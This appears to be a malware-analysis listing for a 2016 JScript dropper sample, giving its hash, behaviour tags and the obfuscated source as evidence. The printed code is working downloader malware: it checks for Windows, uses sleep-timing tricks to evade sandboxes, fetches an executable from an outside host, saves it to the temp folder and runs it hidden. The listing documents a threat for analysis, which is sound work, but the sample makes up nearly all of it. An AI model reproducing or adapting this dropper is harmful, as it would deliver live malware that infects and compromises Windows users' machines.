20160328_09a1a3075ff7dacc0689c946e1390464.js
Downloads and executes remote EXE dropper
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2560d308705c6c1424a3225385f0c65e924d173adcbf570649557280a9d934748bd
Evidence
1var Fskocrwjur = false;
2var Szornh = "CreateObject";
3var Bosmdxg = function Qnzdnji() {return WScript[Szornh]("WScript.Shell");}();
4var Fkhse = 123213;
5var Jiwkimhu = "MSXML2.XMLHTTP";
6var Qxbbdwhx = 2123213;
7var Fscljnzf = 0;
8function Lzpysj(Flbfu){Bosmdxg["Run"](Flbfu, Fscljnzf, Fscljnzf);};
9function Uunxqp(){return Jiwkimhu;};
10function Wetwjcg(Ijojcne, Tyqlrkwipd){return Ijojcne - Tyqlrkwipd;};
11function Mhgtikg(){return Szornh;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Fskocrwjur = true;
15 @end
16@*/
17var Xfwogb = "";
18if (Fskocrwjur)
19{
20function Apiknkn(){return 22;};
21var Qmipyd = 0; var Aafanpsz = 0;
22function Dejobqmmy()
23{
24var Qfbmtaa = new this["Date"]();
25var Gwepkgxap = Qfbmtaa["getUTCMilliseconds"]();
26WScript["Sleep"](Apiknkn());
27var Qfbmtaa = new this["Date"]();
28var Ewrim = Qfbmtaa["getUTCMilliseconds"]();
29WScript["Sleep"](Apiknkn());
30var Qfbmtaa = new this["Date"]();
31var Qfujy = Qfbmtaa["getUTCMilliseconds"]();
32var Qmipyd = "Zcvyjqv";
33Qmipyd = Wetwjcg(Ewrim, Gwepkgxap);
34var Aafanpsz = "Mraaub";
35Aafanpsz = Wetwjcg(Qfujy, Ewrim);
36Xfwogb = "open";
37return Wetwjcg(Qmipyd, Aafanpsz);
38}
39var Xrtkqgcpp = false;
40var Qupqjgkqkj = false;
41for (var Sepqetvj = Fscljnzf; Sepqetvj < Apiknkn() * 1; Sepqetvj++){if (Dejobqmmy() != Fscljnzf){
42Xr …
49:4… (Xrtkqgcpp && Ignzk() && Qupqjgkqkj){
50function Vuulk() {return Bosmdxg["ExpandEnvironmentStrings"]("%TEMP%/") + "ITiywDlL2.exe";};
51 Lfpauvhzo = Uunxqp();
52 Ztmvd = WScript[Szornh](Lfpauvhzo);
53 var Onvltft = 1;
54 while (Onvltft){
55try {
56Ztmvd[Xfwogb]("GET", "http://dukeplasticslab.com/j47akfa", false);
57Ztmvd["send"]();
58Ioedsfh = "Sleep";
59do {WScript[Ioedsfh](Apiknkn() * 11)} while (Ztmvd["readystate"] < 4 );
60Onvltft = Fscljnzf;
61} catch(Ucphe){Onvltft = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ftwexonkfj(Agfmay) {var Ghuckgpo = (1, 2, 3, 4, 5, Agfmay); return Ghuckgpo;};
64Hnwdgaiabh = WScript[Mhgtikg()]("ADODB.Stream");
65Lfpauvhzo = Hnwdgaiabh;
66Lfpauvhzo[Xfwogb]();
67Lfpauvhzo["type"] = Ftwexonkfj(1);
68Lfpauvhzo["write"](Ztmvd["ResponseBody"]);
69Hnwdgaiabh["position"] = Ftwexonkfj(Fscljnzf);
70Lfpauvhzo["SaveToFile"](Vuulk(), Ftwexonkfj(2) );
71Hnwdgaiabh["close"]();
72Lzpysj(Vuulk());
73}
74}
75